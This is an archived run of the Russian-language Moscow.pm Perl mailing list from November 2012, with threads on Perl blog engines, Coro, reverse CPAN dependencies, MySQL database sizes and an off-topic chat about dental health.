<1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> <509CF869.8000206@mail.ru> Message-ID: <1893862226.20121109180242@softsearch.ru> Здравствуйте, Alexey. >> Интересно как они, например, зубы лечили? Их если не лечить вообще, >> то и до 30 не дотянешь. К сожалению, знаю примеры, когда из-за >> боязни пойти к стоматологу человек не лечил зуб и потом умирал от >> распространившего воспаления. Если тупо выдёргивать, то тоже >> снижается здоровье: ухудшается пищеварение, хотя это и не >> смертельно. > - высокая детская смертность отсеивала большую часть болезненных, > выживали только с отменным здоровьем, про отбор неплохая статья > http://vicsrg.ho.com.ua/stat/kordum.htm Статья доказывает то, что бездумно развиваться, используя в качестве регулятора бабло, долго не получится. А вообще, если кто-то не заметил, то уже сейчас здоровье и сопутствующая ей красота - это прерогатива богатых, умных или молодых. Все остальные могут надеяться только на свой генотип или же вместо короткой жизни, благодаря медицине, получают долгую и мучительную смерть. Чистый воды фашизм, кстати. > - питание было здоровее Зубы хорошие, когда ешь то, что на ветках растёт. А как только начинаешь еду готовить, так они и портятся. Так мне мой стоматолог говорил. Если предположить, что он прав, то современники Аристотеля страдали от проблем с зубами. Интересно узнать, как они их решали. -- С уважением, Михаил mailto:postmaster на softsearch.ru From yu.pats на gmail.com Fri Nov 9 06:08:45 2012 From: yu.pats на gmail.com (Yury Pats) Date: Fri, 9 Nov 2012 17:08:45 +0300 Subject: [Moscow.pm] Movable type In-Reply-To: <509D04ED.6040405@serezhkin.com> References: <509D04ED.6040405@serezhkin.com> Message-ID: Легче свой написать. Бери лучше вордпресс. 2012/11/9 Vany Serezhkin > Привет. > > Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое > время в проект, который может не взлететь. > Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт > стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? > > > -- > WBR, Vany > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Fri Nov 9 06:20:13 2012 From: worldmind на mail.ru (Alexey Shrub) Date: Fri, 09 Nov 2012 17:20:13 +0300 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1893862226.20121109180242@softsearch.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> <509CF869.8000206@mail.ru> <1893862226.20121109180242@softsearch.ru> Message-ID: <509D111D.1050304@mail.ru> 09.11.2012 17:02, Михаил Монашёв пишет: > Зубы хорошие, когда ешь то, что на ветках растёт. А как только > начинаешь еду готовить, так они и портятся. Так мне мой стоматолог > говорил. Если предположить, что он прав, то современники Аристотеля > страдали от проблем с зубами. Интересно узнать, как они их решали. Не скажу, помню только где-то читал что фашисты на захваченных славянских территориях удивлялись здоровью зубов детей и увозили голубоглазых и белобрысых детишек на расплод арийской расы, видимо даже приготовленная, но простая пища значительно лучше для зубов -- Alexey Shrub From afiskon на gmail.com Fri Nov 9 06:25:43 2012 From: afiskon на gmail.com (Alexandr Alexeev) Date: Fri, 9 Nov 2012 18:25:43 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> Message-ID: +1 за WordPress или написать свой. 2012/11/9 Yury Pats > Легче свой написать. > > Бери лучше вордпресс. > > > 2012/11/9 Vany Serezhkin > >> Привет. >> >> Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >> время в проект, который может не взлететь. >> Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт >> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? >> >> >> -- >> WBR, Vany >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- Best regards, Alex Alexeev http://twitter.com/afiskon ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From andy на shitov.ru Fri Nov 9 06:26:32 2012 From: andy на shitov.ru (Andrew Shitov) Date: Fri, 9 Nov 2012 15:26:32 +0100 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> Message-ID: А зачем свой писать? 2012/11/9 Alexandr Alexeev : > +1 за WordPress или написать свой. > > > 2012/11/9 Yury Pats >> >> Легче свой написать. >> >> Бери лучше вордпресс. >> >> >> 2012/11/9 Vany Serezhkin >>> >>> Привет. >>> >>> Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >>> время в проект, который может не взлететь. >>> Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт >>> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? >>> >>> >>> -- >>> WBR, Vany >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >> >> >> >> >> -- >> WBR, Yury Pats >> skype: yuripats >> cellular: +375 (29) 5870723 >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > Best regards, > Alex Alexeev > http://twitter.com/afiskon > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Andrew Shitov ______________________________________________________________________ andy на shitov.ru | http://shitov.ru From yu.pats на gmail.com Fri Nov 9 06:28:10 2012 From: yu.pats на gmail.com (Yury Pats) Date: Fri, 9 Nov 2012 17:28:10 +0300 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> Message-ID: Чтоб был нормальный движок блога на перле :) 2012/11/9 Andrew Shitov > А зачем свой писать? > > 2012/11/9 Alexandr Alexeev : > > +1 за WordPress или написать свой. > > > > > > 2012/11/9 Yury Pats > >> > >> Легче свой написать. > >> > >> Бери лучше вордпресс. > >> > >> > >> 2012/11/9 Vany Serezhkin > >>> > >>> Привет. > >>> > >>> Хочу начать использовать сабж, потому что мне стрёмно инвестировать > свое > >>> время в проект, который может не взлететь. > >>> Кто нибудь пробовал? Как там на счёт взять и дописать ... например > импорт > >>> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? > >>> > >>> > >>> -- > >>> WBR, Vany > >>> -- > >>> Moscow.pm mailing list > >>> moscow-pm на pm.org | http://moscow.pm.org > >> > >> > >> > >> > >> -- > >> WBR, Yury Pats > >> skype: yuripats > >> cellular: +375 (29) 5870723 > >> > >> -- > >> Moscow.pm mailing list > >> moscow-pm на pm.org | http://moscow.pm.org > >> > > > > > > > > -- > > Best regards, > > Alex Alexeev > > http://twitter.com/afiskon > > > > -- > > Moscow.pm mailing list > > moscow-pm на pm.org | http://moscow.pm.org > > > > > > -- > Andrew Shitov > ______________________________________________________________________ > andy на shitov.ru | http://shitov.ru > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From postmaster на softsearch.ru Fri Nov 9 06:33:32 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Fri, 9 Nov 2012 18:33:32 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509D111D.1050304@mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> <509CF869.8000206@mail.ru> <1893862226.20121109180242@softsearch.ru> <509D111D.1050304@mail.ru> Message-ID: <388504595.20121109183332@softsearch.ru> Здравствуйте, Alexey. >> Зубы хорошие, когда ешь то, что на ветках растёт. А как только >> начинаешь еду готовить, так они и портятся. Так мне мой стоматолог >> говорил. Если предположить, что он прав, то современники Аристотеля >> страдали от проблем с зубами. Интересно узнать, как они их решали. > Не скажу, помню только где-то читал что фашисты на захваченных > славянских территориях удивлялись здоровью зубов детей и увозили > голубоглазых и белобрысых детишек на расплод арийской расы, видимо > даже приготовленная, но простая пища значительно лучше для зубов На Синайском полуострове бедуины пьют воду, добытую в редких оазисах. В ней много фтора. Из-за этого у них даже на зубах белые пятна есть. Кариеса у них в разы меньше, чем у понаехавших арабов, пьющих воду после опресниловок или привозную в бутылках. Так что многое ещё и от местности зависит. Включая цвет глаз, кстати. -- С уважением, Михаил mailto:postmaster на softsearch.ru From isage на aumi.ru Fri Nov 9 06:37:16 2012 From: isage на aumi.ru (iSage) Date: Fri, 09 Nov 2012 18:37:16 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> Message-ID: <3b7938ac38203dc814339c875ee9c398@aumi.ru> Дык пишется ж за пару вечеров на mojolicious. On 2012-11-09 18:28, Yury Pats wrote: > Чтоб был нормальный движок блога на перле :) > > 2012/11/9 Andrew Shitov > >> А зачем свой писать? >> >> 2012/11/9 Alexandr Alexeev : >> >>> +1 за WordPress или написать свой. >> > >> > >> > 2012/11/9 Yury Pats >> >> >> >> Легче свой написать. >> >> >> >> Бери лучше вордпресс. >> >> >> >> >> >> 2012/11/9 Vany Serezhkin >> >>> >> >>> Привет. >> >>> >> >>> Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >> >>> время в проект, который может не взлететь. >> >>> Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт >> >>> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? >> >>> >> >>> >> >>> -- >> >>> WBR, Vany >> >>> -- >> >>> Moscow.pm mailing list >> >>> moscow-pm на pm.org | http://moscow.pm.org [1] >> >> >> >> >> >> >> >> >> >> -- >> >> WBR, Yury Pats >> >> skype: yuripats >> >> cellular: +375 (29) 5870723 [2] >> >> >> >> -- >> >> Moscow.pm mailing list >> >> moscow-pm на pm.org | http://moscow.pm.org [1] >> >> >> > >> > >> > >> > -- >> > Best regards, >> > Alex Alexeev >> > http://twitter.com/afiskon [3] >> > >> > -- >> > Moscow.pm mailing list >> > moscow-pm на pm.org | http://moscow.pm.org [1] >> > >> >> -- >> Andrew Shitov >> ______________________________________________________________________ >> andy на shitov.ru | http://shitov.ru [4] >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org [1] > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 Links: ------ [1] http://moscow.pm.org [2] tel:%2B375%20%2829%29%205870723 [3] http://twitter.com/afiskon [4] http://shitov.ru ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From afiskon на gmail.com Fri Nov 9 07:02:09 2012 From: afiskon на gmail.com (Alexandr Alexeev) Date: Fri, 9 Nov 2012 19:02:09 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: <3b7938ac38203dc814339c875ee9c398@aumi.ru> References: <509D04ED.6040405@serezhkin.com> <3b7938ac38203dc814339c875ee9c398@aumi.ru> Message-ID: Если не за пару часов. Это, разумеется, без особоых заморочек по поводу верстки например. 2012/11/9 iSage > ** > > Дык пишется ж за пару вечеров на mojolicious. > > On 2012-11-09 18:28, Yury Pats wrote: > > Чтоб был нормальный движок блога на перле :) > > > 2012/11/9 Andrew Shitov > >> А зачем свой писать? >> >> 2012/11/9 Alexandr Alexeev : >> > +1 за WordPress или написать свой. >> > >> > >> > 2012/11/9 Yury Pats >> >> >> >> Легче свой написать. >> >> >> >> Бери лучше вордпресс. >> >> >> >> >> >> 2012/11/9 Vany Serezhkin >> >>> >> >>> Привет. >> >>> >> >>> Хочу начать использовать сабж, потому что мне стрёмно инвестировать >> свое >> >>> время в проект, который может не взлететь. >> >>> Кто нибудь пробовал? Как там на счёт взять и дописать ... например >> импорт >> >>> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? >> >>> >> >>> >> >>> -- >> >>> WBR, Vany >> >>> -- >> >>> Moscow.pm mailing list >> >>> moscow-pm на pm.org | http://moscow.pm.org >> >> >> >> >> >> >> >> >> >> -- >> >> WBR, Yury Pats >> >> skype: yuripats >> >> cellular: +375 (29) 5870723 >> >> >> >> -- >> >> Moscow.pm mailing list >> >> moscow-pm на pm.org | http://moscow.pm.org >> >> >> > >> > >> > >> > -- >> > Best regards, >> > Alex Alexeev >> > http://twitter.com/afiskon >> > >> > -- >> > Moscow.pm mailing list >> > moscow-pm на pm.org | http://moscow.pm.org >> > >> >> >> >> -- >> Andrew Shitov >> ______________________________________________________________________ >> andy на shitov.ru | http://shitov.ru >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- Best regards, Alex Alexeev http://twitter.com/afiskon ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From andrey на kopeyko.ru Fri Nov 9 07:07:14 2012 From: andrey на kopeyko.ru (Andrey Kopeyko) Date: Fri, 09 Nov 2012 19:07:14 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: <509D04ED.6040405@serezhkin.com> References: <509D04ED.6040405@serezhkin.com> Message-ID: <509D1C22.7080000@kopeyko.ru> 09.11.2012 17:28, Vany Serezhkin пишет: > Привет. Привет, Ваня! > Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое > время в проект, который может не взлететь. > Кто нибудь пробовал? Вот Лёха Тутубалин пробовал - в итоге смигрировал на php-шный Друпал. История его любви и ненависти описана в http://blog.lexa.ru/programmirovanie/web/movable_type > Как там на счёт взять и дописать ... например > импорт стоков откуда ни будь? Убийственная затея, или на коленке > реализуемо? ЕМНИП, там и на это вопрос есть ответ. Но сам я не пользовал, лишь со стороны смотрел\читал. -- Best regards, Andrey Kopeyko From i.petro.77.00 на gmail.com Fri Nov 9 07:29:03 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Fri, 9 Nov 2012 19:29:03 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <20121109152903.GQ23805@vdsl.uvw.ru> > Люди, а вы используете Coro под приличной нагрузкой? > Что-то не вериться, что использовать Coro сложней, чем использовать prefork. > Но второй вариант работает как часы, а вариант с Coro переодически зависает. > Или я не умею его готовить... :-( смотря что считать приличной. префорк точно не уделает coro по производительности если речь идет о скажем каком-то RPC с заходом в БД. From an.gorohovski на gmail.com Fri Nov 9 07:32:14 2012 From: an.gorohovski на gmail.com (Alessandro Gorohovski) Date: Fri, 09 Nov 2012 17:32:14 +0200 Subject: [Moscow.pm] =?utf-8?b?0JfQsNCy0LjRgdC40LzQvtGB0YLQuCDQvNC+0LQ=?= =?utf-8?b?0YPQu9C10LkgQ1BBTg==?= Message-ID: Уважаемое сообщество, Доброго времени суток! Может кто знает, подскажите, существует ли какой-нибудь способ/процедура в CPAN, узнать на какие модули влияет данный модуль, т.е. какие модули в CPAN зависят от данного модуля. Спасибо, ANG From rabbit+moscowpm на rabbit.us Fri Nov 9 07:37:17 2012 From: rabbit+moscowpm на rabbit.us (Peter Rabbitson) Date: Sat, 10 Nov 2012 02:37:17 +1100 Subject: [Moscow.pm] =?utf-8?b?0JfQsNCy0LjRgdC40LzQvtGB0YLQuCDQvNC+0LQ=?= =?utf-8?b?0YPQu9C10LkgQ1BBTg==?= In-Reply-To: References: Message-ID: <20121109153717.GA24206@rabbit.us> On Fri, Nov 09, 2012 at 05:32:14PM +0200, Alessandro Gorohovski wrote: > Уважаемое сообщество, > Доброго времени суток! > > Может кто знает, подскажите, > > существует ли какой-нибудь способ/процедура в CPAN, узнать > на какие модули влияет данный модуль, > т.е. > какие модули в CPAN зависят от данного модуля. > http://deps.cpantesters.org/depended-on-by.pl?dist=namespace-clean или https://metacpan.org/requires/distribution/namespace-clean From an.gorohovski на gmail.com Fri Nov 9 07:58:01 2012 From: an.gorohovski на gmail.com (Alessandro Gorohovski) Date: Fri, 09 Nov 2012 17:58:01 +0200 Subject: [Moscow.pm] =?utf-8?b?0JfQsNCy0LjRgdC40LzQvtGB0YLQuCDQvNC+0LQ=?= =?utf-8?b?0YPQu9C10LkgQ1BBTg==?= In-Reply-To: <20121109153717.GA24206@rabbit.us> References: <20121109153717.GA24206@rabbit.us> Message-ID: Peter Rabbitson писал(а) в своём письме Fri, 09 Nov 2012 17:37:17 +0200: Не ожидал, что такое уже есть. Премного благодарен! :) > On Fri, Nov 09, 2012 at 05:32:14PM +0200, Alessandro Gorohovski wrote: >> Уважаемое сообщество, >> Доброго времени суток! >> >> Может кто знает, подскажите, >> >> существует ли какой-нибудь способ/процедура в CPAN, узнать >> на какие модули влияет данный модуль, >> т.е. >> какие модули в CPAN зависят от данного модуля. > > http://deps.cpantesters.org/depended-on-by.pl?dist=namespace-clean > > или > > https://metacpan.org/requires/distribution/namespace-clean -- ANG From ali на ali.org.ua Fri Nov 9 08:37:27 2012 From: ali на ali.org.ua (Oleg Alistratov) Date: Fri, 09 Nov 2012 18:37:27 +0200 Subject: [Moscow.pm] Movable type In-Reply-To: <509D1C22.7080000@kopeyko.ru> References: <509D04ED.6040405@serezhkin.com> <509D1C22.7080000@kopeyko.ru> Message-ID: <2318721352479047@web13e.yandex.ru> 09.11.2012, 17:07, "Andrey Kopeyko" : > Вот Лёха Тутубалин пробовал - в итоге смигрировал на php-шный Друпал. > История его любви и ненависти описана в >    http://blog.lexa.ru/programmirovanie/web/movable_type Нет там особой истории, afaik, просто он ушел с MT, когда там сняли поддержку постгры. Вот и вся любовь ) -- Oleg Alistratov From yu.pats на gmail.com Fri Nov 9 08:49:28 2012 From: yu.pats на gmail.com (Yury Pats) Date: Fri, 9 Nov 2012 19:49:28 +0300 Subject: [Moscow.pm] Movable type In-Reply-To: <509D1C22.7080000@kopeyko.ru> References: <509D04ED.6040405@serezhkin.com> <509D1C22.7080000@kopeyko.ru> Message-ID: В отличие от MT вордпресс чем дальше тем приятней им пользоваться. MT как был хз что, так и остался "каменный век". 2012/11/9 Andrey Kopeyko > 09.11.2012 17:28, Vany Serezhkin пишет: > >> Привет. >> > > Привет, Ваня! > > > Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >> время в проект, который может не взлететь. >> Кто нибудь пробовал? >> > > Вот Лёха Тутубалин пробовал - в итоге смигрировал на php-шный Друпал. > История его любви и ненависти описана в > http://blog.lexa.ru/**programmirovanie/web/movable_**type > > > > Как там на счёт взять и дописать ... например >> импорт стоков откуда ни будь? Убийственная затея, или на коленке >> реализуемо? >> > > ЕМНИП, там и на это вопрос есть ответ. > > Но сам я не пользовал, лишь со стороны смотрел\читал. > > > -- > Best regards, > Andrey Kopeyko > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From isage на aumi.ru Fri Nov 9 08:48:15 2012 From: isage на aumi.ru (iSage) Date: Fri, 09 Nov 2012 20:48:15 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> <509D1C22.7080000@kopeyko.ru> Message-ID: <305d43f090802510c6a942e228e19758@aumi.ru> Пользоваться да. А вот по коду оба в каменном веке. On 2012-11-09 20:49, Yury Pats wrote: > В отличие от MT вордпресс чем дальше тем приятней им пользоваться. MT как был хз что, так и остался "каменный век". > > 2012/11/9 Andrey Kopeyko > >> 09.11.2012 17:28, Vany Serezhkin пишет: >> >>> Привет. >> >> Привет, Ваня! >> >>> Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >>> время в проект, который может не взлететь. >>> Кто нибудь пробовал? >> Вот Лёха Тутубалин пробовал - в итоге смигрировал на php-шный Друпал. История его любви и ненависти описана в >> http://blog.lexa.ru/programmirovanie/web/movable_type [1] > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 Links: ------ [1] http://blog.lexa.ru/programmirovanie/web/movable_type [2] http://moscow.pm.org ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From akovbovich на gmail.com Fri Nov 9 09:17:29 2012 From: akovbovich на gmail.com (=?UTF-8?B?0JDQvdC00YDQtdC5INCfLiDQmtC+0LLQsdC+0LLQuNGH?=) Date: Fri, 9 Nov 2012 21:17:29 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1977776789.20121109135227@softsearch.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> Message-ID: И что у него с зубом случилось такое от чего можно умереть? 9 ноября 2012 г., 13:52 пользователь Михаил Монашёв написал: > К сожалению, знаю примеры, когда из-за боязни > пойти к стоматологу человек не лечил зуб и потом умирал от > распространившего воспаления. From postmaster на softsearch.ru Fri Nov 9 22:10:06 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Sat, 10 Nov 2012 10:10:06 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> Message-ID: <1598232335.20121110101006@softsearch.ru> Здравствуйте, Андрей. > И что у него с зубом случилось такое от чего можно умереть? >> К сожалению, знаю примеры, когда из-за боязни пойти к стоматологу >> человек не лечил зуб и потом умирал от распространившего >> воспаления. В нижней челюсти болел зуб. Дырка переросла в сквозную, воспалилась пульпа, зуб умер, процесс пошёл глубже из зуба в ткани челюсти. Там воспаление долго мучило человека, но к стоматологу он не шёл. Потом в один день из нижней челюсти по какому-то каналу между тканями воспаление стекло в околосердечное пространство и через 3 часа человек умер. Было это в Ростове этим летом. Т.е. достаточно простудится, перегреться или скушать много солёного/острого, чтобы ослабить иммунитет и спровоцировать острую стадию вялотекущего процесса. И куда он дальше пойдёт - это как повезёт. -- С уважением, Михаил mailto:postmaster на softsearch.ru From postmaster на softsearch.ru Sat Nov 10 12:33:44 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Sun, 11 Nov 2012 00:33:44 +0400 Subject: [Moscow.pm] =?koi8-r?b?8sHazcXS2SDi5CDXIG15c3Fs?= Message-ID: <1739783830.20121111003344@softsearch.ru> Здравствуйте. Интересно было посмотреть, какие объёмы данных чаще всего хранят в mysql-е: http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ Пока результаты такие: 100GB to 1TB (35%, 123 Votes) 10GB to 100GB (23%, 81 Votes) 1TB to 10TB (16%, 58 Votes) 1GB to 10GB (14%, 49 Votes) less than 1GB (9%, 31 Votes) more than 10TB (3%, 13 Votes) -- С уважением, Михаил mailto:postmaster на softsearch.ru From schetchik на gmail.com Sat Nov 10 12:51:05 2012 From: schetchik на gmail.com (=?KOI8-R?B?4c7Uz84g787VxtLJxdc=?=) Date: Sun, 11 Nov 2012 00:51:05 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1598232335.20121110101006@softsearch.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> <1598232335.20121110101006@softsearch.ru> Message-ID: Почитал moscow.pm - решил завтра записаться к стоматологу. Фу, блин! :) 10 ноября 2012 г., 10:10 пользователь Михаил Монашёв < postmaster на softsearch.ru> написал: > Здравствуйте, Андрей. > > > И что у него с зубом случилось такое от чего можно умереть? > > >> К сожалению, знаю примеры, когда из-за боязни пойти к стоматологу > >> человек не лечил зуб и потом умирал от распространившего > >> воспаления. > > В нижней челюсти болел зуб. Дырка переросла в сквозную, воспалилась > пульпа, зуб умер, процесс пошёл глубже из зуба в ткани челюсти. Там > воспаление долго мучило человека, но к стоматологу он не шёл. Потом в > один день из нижней челюсти по какому-то каналу между тканями > воспаление стекло в околосердечное пространство и через 3 часа человек > умер. Было это в Ростове этим летом. Т.е. достаточно простудится, > перегреться или скушать много солёного/острого, чтобы ослабить > иммунитет и спровоцировать острую стадию вялотекущего процесса. И куда > он дальше пойдёт - это как повезёт. > > -- > С уважением, > Михаил mailto:postmaster на softsearch.ru > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- С уважением, Онуфриев Антон ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From postmaster на softsearch.ru Sat Nov 10 23:51:20 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Sun, 11 Nov 2012 11:51:20 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> <1598232335.20121110101006@softsearch.ru> Message-ID: <191849230.20121111115120@softsearch.ru> Здравствуйте, Антон. > Почитал moscow.pm - решил завтра записаться к стоматологу.Фу, блин! :) Можешь перед стоматологом к нотариусу заскочить ещё. :-) -- С уважением, Михаил mailto:postmaster на softsearch.ru From despairr на gmail.com Sun Nov 11 03:28:51 2012 From: despairr на gmail.com (Walery Studennikov) Date: Sun, 11 Nov 2012 15:28:51 +0400 Subject: [Moscow.pm] =?koi8-r?b?8sHazcXS2SDi5CDXIG15c3Fs?= In-Reply-To: <1739783830.20121111003344@softsearch.ru> References: <1739783830.20121111003344@softsearch.ru> Message-ID: 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв написал: > Здравствуйте. > > Интересно было посмотреть, какие объёмы данных чаще всего хранят в > mysql-е: > http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят в основном любители больших нагрузок и больших объемов баз ;) -- Walery Studennikov http://www.reg.ru/ From shafiev на gmail.com Sun Nov 11 03:46:23 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Sun, 11 Nov 2012 15:46:23 +0400 Subject: [Moscow.pm] =?koi8-r?b?8sHazcXS2SDi5CDXIG15c3Fs?= In-Reply-To: References: <1739783830.20121111003344@softsearch.ru> Message-ID: 11 ноября 2012 г., 15:28 пользователь Walery Studennikov написал: > 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв > написал: >> Здравствуйте. >> >> Интересно было посмотреть, какие объёмы данных чаще всего хранят в >> mysql-е: >> http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ > > Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят > в основном любители больших нагрузок и больших объемов баз ;) +1 . Сюда по моему скромному опыту - в основном базы до 1 гиг , и до 10 гигов. Больше это уже гиганты или же какие-то извращенцы сующие огромные blobы (картинки видео) в субд. > > -- > Walery Studennikov > http://www.reg.ru/ > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From vovkasm на gmail.com Sun Nov 11 04:28:37 2012 From: vovkasm на gmail.com (Vladimir Timofeev) Date: Sun, 11 Nov 2012 16:28:37 +0400 Subject: [Moscow.pm] =?utf-8?b?0KDQsNC30LzQtdGA0Ysg0JHQlCDQsiBteXNxbA==?= In-Reply-To: References: <1739783830.20121111003344@softsearch.ru> Message-ID: 2012/11/11 Naim Shafiev : > 11 ноября 2012 г., 15:28 пользователь Walery Studennikov > написал: >> 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв >> написал: >>> Здравствуйте. >>> >>> Интересно было посмотреть, какие объёмы данных чаще всего хранят в >>> mysql-е: >>> http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ >> >> Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят >> в основном любители больших нагрузок и больших объемов баз ;) > > +1 . Сюда по моему скромному опыту - в основном базы до 1 гиг , и до 10 гигов. > Больше это уже гиганты или же какие-то извращенцы сующие огромные > blobы (картинки видео) в субд. Значит мы "какие-то извращенцы", т.к. явно не "гиганты". Т.к. у нас базы порядка 50Гб и мы используем MyISAM как key-value ;-) > >> >> -- >> Walery Studennikov >> http://www.reg.ru/ >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Vladimir Timofeev From shafiev на gmail.com Sun Nov 11 04:38:50 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Sun, 11 Nov 2012 16:38:50 +0400 Subject: [Moscow.pm] =?koi8-r?b?8sHazcXS2SDi5CDXIG15c3Fs?= In-Reply-To: References: <1739783830.20121111003344@softsearch.ru> Message-ID: 11 ноября 2012 г., 16:28 пользователь Vladimir Timofeev написал: > 2012/11/11 Naim Shafiev : >> 11 ноября 2012 г., 15:28 пользователь Walery 